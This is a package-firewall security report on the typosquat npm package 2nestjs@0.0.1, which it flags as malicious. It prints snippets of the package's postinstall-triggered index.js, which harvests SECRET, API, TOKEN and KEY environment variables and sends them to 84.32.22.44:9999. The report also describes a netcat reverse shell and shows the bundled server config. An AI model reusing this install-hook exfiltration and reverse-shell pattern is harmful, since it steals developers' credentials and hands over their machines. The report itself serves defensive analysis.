---
canonical: "https://firewall.lpm.dev/npm/2nestjs/v/0.0.1"
markdown: "https://firewall.lpm.dev/npm/2nestjs/v/0.0.1.md"
package: "2nestjs"
report_status: "published"
title: "2nestjs@0.0.1 npm security report"
verdict: "malicious"
version: "0.0.1"
---

# 2nestjs@0.0.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — An attacker can receive sensitive environment values and obtain a shell on the installing machine.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Install Hook Abuse
- **Selected version:** 0.0.1
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Installation automatically executes code that harvests likely secrets, transmits them to a configured remote host, and starts a reverse shell. This is a concrete install-time compromise path.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-09-03T22:52:43.189Z
- **Finished:** 2026-09-03T22:53:49.772Z
- **Download time:** 255 ms
- **Static scan time:** 11 ms
- **AI review time:** 66316 ms
- **Total time:** 66583 ms

## Security analysis

### Published attack-surface review

- **Summary:** Installation automatically executes code that harvests likely secrets, transmits them to a configured remote host, and starts a reverse shell. This is a concrete install-time compromise path.

- **Trigger:** Installing the package runs its postinstall hook.

- **Impact:** An attacker can receive sensitive environment values and obtain a shell on the installing machine.

- **Evidence paths:** package.json, index.js, servers.json

- **Review source:** ai\_review

- **Reviewed:** 2026-09-03T22:53:49.772Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Environment-secret exfiltration and netcat reverse-shell execution.

- **Attack narrative:** npm runs the package postinstall hook, which executes index.js. The script loads a bundled remote server address, selects likely secret-bearing environment variables, and writes them to a TCP connection. It then invokes netcat with the -e option to connect a shell to the same host and port. The package metadata also identifies it as a nestjs typosquat.

- **Rationale:** This package contains a complete automatic install-time chain for secret exfiltration and remote shell access. The behavior is malicious and requires blocking.

- **Files touched:** index.js, servers.json

- **Network endpoints:** 84.32.22.44:9999

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** The postinstall hook automatically runs index.js during package installation., The entry script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY., The bundled server configuration names 84.32.22.44 on port 9999., The script sends collected values over a network socket and invokes netcat with a shell., The manifest explicitly describes the package as a typosquat of nestjs.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node index.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/index.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5:
```

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 6. High: Same File Env Network Execution
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/index.js>)

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Public source snippet (untrusted):

```javascript
L2: const os = require('os');
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5: 
...
L13: const envs = {};
L14: for (const key of Object.keys(process.env)) {
L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
```

### 7. Critical: Reverse Shell
- **Category:** Source
- **Confidence:** 92.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/index.js>)

Source matches reverse-shell style process and socket wiring.

Public source snippet (untrusted):

```javascript
L2: const os = require('os');
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5: 
...
L7: try {
L8: servers = JSON.parse(fs.readFileSync('./servers.json'));
L9: } catch (e) {
...
L13: const envs = {};
L14: for (const key of Object.keys(process.env)) {
L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
...
L23: const client = net.createConnection({ host, port }, () => {
L24: client.write(JSON.stringify(envs));
```

### 8. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/index.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: scripts.postinstall -> index.js
L2: const os = require('os');
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5: 
...
L7: try {
L8: servers = JSON.parse(fs.readFileSync('./servers.json'));
L9: } catch (e) {
...
L13: const envs = {};
L14: for (const key of Object.keys(process.env)) {
L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
...
L23: const client = net.createConnection({ host, port }, () => {
L24: client.write(JSON.stringify(envs));
```

### 9. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 90.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 10. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/package.json>)

The postinstall hook automatically runs index.js during package installation.

Public source snippet (untrusted):

```json
"scripts": {
    "postinstall": "node index.js",
    "start": "node index.js"
  }
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/index.js>)

The entry script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.

Public source snippet (untrusted):

```javascript
const envs = {};
for (const key of Object.keys(process.env)) {
  if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
}

console.log('[typosquat] exfiltrating:', envs);
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** servers.json
- **Public source:** [View source](<https://unpkg.com/2nestjs@0.0.1/servers.json>)

The bundled server configuration names 84.32.22.44 on port 9999.

Public source snippet (untrusted):

```json
[
  {"host": "84.32.22.44", "port": 9999, "region": "vps"}
]
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** 2nestjs
- **Ecosystem:** npm
- **Version:** 0.0.1
- **License:** MIT
- **Version published:** 2026-09-03T22:50:54.868Z
- **Package first seen:** 2026-09-03T22:53:49.772Z
- **Package last seen:** 2026-09-03T22:53:49.772Z
- **Known versions:** 1
- **Latest version:** 0.0.1
- **Appeal under review:** No
- **Description:** Typosquat of nestjs
- **Author:** typosquat-bot
- **Artifact files:** 3
- **Artifact unpacked size:** 1,195 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/2nestjs/v/0.0.1>)
